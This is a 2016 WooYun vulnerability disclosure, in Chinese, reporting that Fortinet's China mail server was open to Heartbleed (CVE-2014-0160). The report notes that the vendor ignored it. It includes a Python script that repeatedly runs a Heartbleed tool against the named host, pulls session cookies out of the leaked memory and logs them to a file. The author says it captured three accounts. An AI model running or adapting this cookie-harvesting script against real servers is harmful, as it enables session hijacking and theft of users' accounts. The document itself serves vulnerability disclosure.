当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：
wooyun-2016-0194562
漏洞标题：
Fortinet邮箱服务器心脏滴血可抓账户cookie
相关厂商：
Fortinet
漏洞作者：
杨某某
提交时间：
2016-04-10 11:54
修复时间：
2016-04-15 12:00
公开时间：
2016-04-15 12:00
漏洞类型：
敏感信息泄露
危害等级：
高
自评Rank：
15
漏洞状态：
漏洞已经通知厂商但是厂商忽略漏洞
漏洞来源：
http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签：
无
分享漏洞：
4人收藏 收藏
分享漏洞：
>

漏洞详情

披露状态：

2016-04-10： 细节已通知厂商并且等待厂商处理中
2016-04-15： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

RT

详细说明：

Fortinet邮箱服务器url：https://mail.fortinet.com.cn
存在漏洞的端口：443
该端口存在CVE-2014-0160即心脏滴血漏洞，每次可以读取服务器内存64 KB数据
首先是神器openssl.py测试信息：


QQ图片20160410113206.jpg


可以看到账户cookie，可以通过如下脚本，不断的抓cookie：


import os
import re
import time
accounts = []
while True:
    result = os.popen('openssl.py mail.fortinet.com.cn').read()
    matches = re.findall('session1=(.*?);.*?OKIE=(Era.*?%3D%3D%0A)', result)
    for match in matches:
        if match not in accounts:
            accounts.append(match)
            with open('accounts.txt', 'a') as inFile:
                inFile.write(str(match) + '\n')
            print 'New Account:', match
    time.sleep(1.0)


抓了一小会就有三个：

QQ图片20160410114214.png


漏洞证明：

QQ图片20160410113206.jpg


QQ图片20160410114214.png

修复方案：

补丁

版权声明：转载请注明来源 杨某某@乌云

>

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2016-04-15 12:00

厂商回复：

漏洞Rank：15 (WooYun评价)

最新状态：

暂无